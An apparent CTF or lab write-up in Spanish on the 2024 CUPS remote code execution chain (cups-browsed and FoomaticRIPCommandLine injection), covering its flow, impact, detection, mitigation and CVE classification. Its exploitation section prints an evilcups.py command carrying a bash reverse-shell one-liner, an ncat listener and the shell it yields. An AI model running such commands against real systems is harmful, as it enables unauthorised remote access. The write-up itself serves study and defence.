1. Descripción técnica del ataque
En septiembre de 2024 se publicó una cadena de vulnerabilidades en CUPS (Common Unix Printing System), el sistema de impresión por defecto en muchas distribuciones Linux, que permite ejecución remota de comandos. La cadena involucra varios CVE:
- CVE-2024-47176 –
cups-browsedescucha en0.0.0.0:631(UDP) y confía en paquetes IPP entrantes, permitiendo añadir impresoras maliciosas a petición de un atacante remoto. - CVE-2024-47076 / CVE-2024-47175 – falta de validación/saneo de los atributos IPP devueltos por el "servidor de impresión" controlado por el atacante.
- CVE-2024-47177 – el atributo
FoomaticRIPCommandLinepermite inyectar comandos arbitrarios que se ejecutan cuando se envía un trabajo de impresión a la impresora maliciosa.
El flujo del ataque: el atacante envía un paquete UDP al puerto 631 que hace que cups-browsed se conecte de vuelta a un servidor IPP malicioso. Este anuncia una impresora con un FoomaticRIPCommandLine envenenado. Cuando la víctima (o un trabajo automático) imprime en esa impresora, el comando se ejecuta con los privilegios del servicio CUPS (usuario lp).
2. Impacto de la vulnerabilidad
- Ejecución remota de comandos como el usuario
lp(a menudo el primer pie en la máquina, seguido de escalada de privilegios). - Requiere que se lance un trabajo de impresión hacia la impresora maliciosa; en muchos escenarios esto se puede inducir o esperar.
- Afecta a un servicio muy extendido en estaciones Linux y entornos de impresión en red.
3. Historia y evolución
- 26 de septiembre de 2024: el investigador Simone Margaritelli (evilsocket) publica la cadena de vulnerabilidades de CUPS tras semanas de expectación mediática.
- Aparecen rápidamente PoCs públicas; la más usada en CTFs es evil-cups (de IppSec), que automatiza el montaje del servidor IPP malicioso y la inyección del comando.
- El impacto real fue matizado: requiere
cups-browsedactivo y el envío de un trabajo de impresión, lo que reduce su explotabilidad masiva, pero sigue siendo crítico en entornos vulnerables.
4. Factores que la hacen posible
- Servicio
cups-browsedactivo y escuchando en el puerto 631/UDP accesible. - Versiones vulnerables de CUPS /
cups-browsedsin parchear. - Que se procese un trabajo de impresión hacia la impresora maliciosa registrada.
5. Detección
- Identificar el servicio:
nmap -sCV -p631 target # ipp CUPS 2.3 ...- Comprobar si
cups-browsedescucha en UDP/631 y la versión de CUPS instalada.
6. Mitigación
- Actualizar CUPS y
cups-browseda versiones parcheadas. - Deshabilitar
cups-browsedsi no se necesita descubrimiento automático de impresoras. - Bloquear el puerto 631/UDP en el firewall y no exponer CUPS a redes no confiables.
- Ejecutar el servicio con el mínimo privilegio y segmentar la red de impresión.
7. Ejemplo de explotación real
Con el script evilcups.py, montamos el servidor malicioso y, tras imprimir una página de prueba desde la interfaz de CUPS, recibimos la shell como lp:
❯ python3 evilcups.py 192.168.1.7 192.168.1.129 "bash -c 'bash -i >& /dev/tcp/192.168.1.7/1234 0>&1'"
IPP Server Listening on ('192.168.1.7', 12345)
Sending udp packet to 192.168.1.129:631...
Please wait this normally takes 30 seconds...
❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.129
lp@fuser:/$ id
uid=7(lp) gid=7(lp) groups=7(lp)8. Clasificación
- Tipo: Improper Input Validation / Command Injection → Remote Code Execution
- CVE: CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177
- CWE:
- CWE-78 – OS Command Injection
- CWE-20 – Improper Input Validation
9. Resumen
La cadena de CUPS RCE de 2024 permite, vía cups-browsed (631/UDP), registrar una impresora maliciosa cuyo atributo FoomaticRIPCommandLine ejecuta comandos al imprimir, otorgando RCE como lp. Se explota fácilmente con evil-cups. La defensa es parchear, deshabilitar cups-browsed y bloquear 631/UDP. Suele combinarse con una escalada local posterior.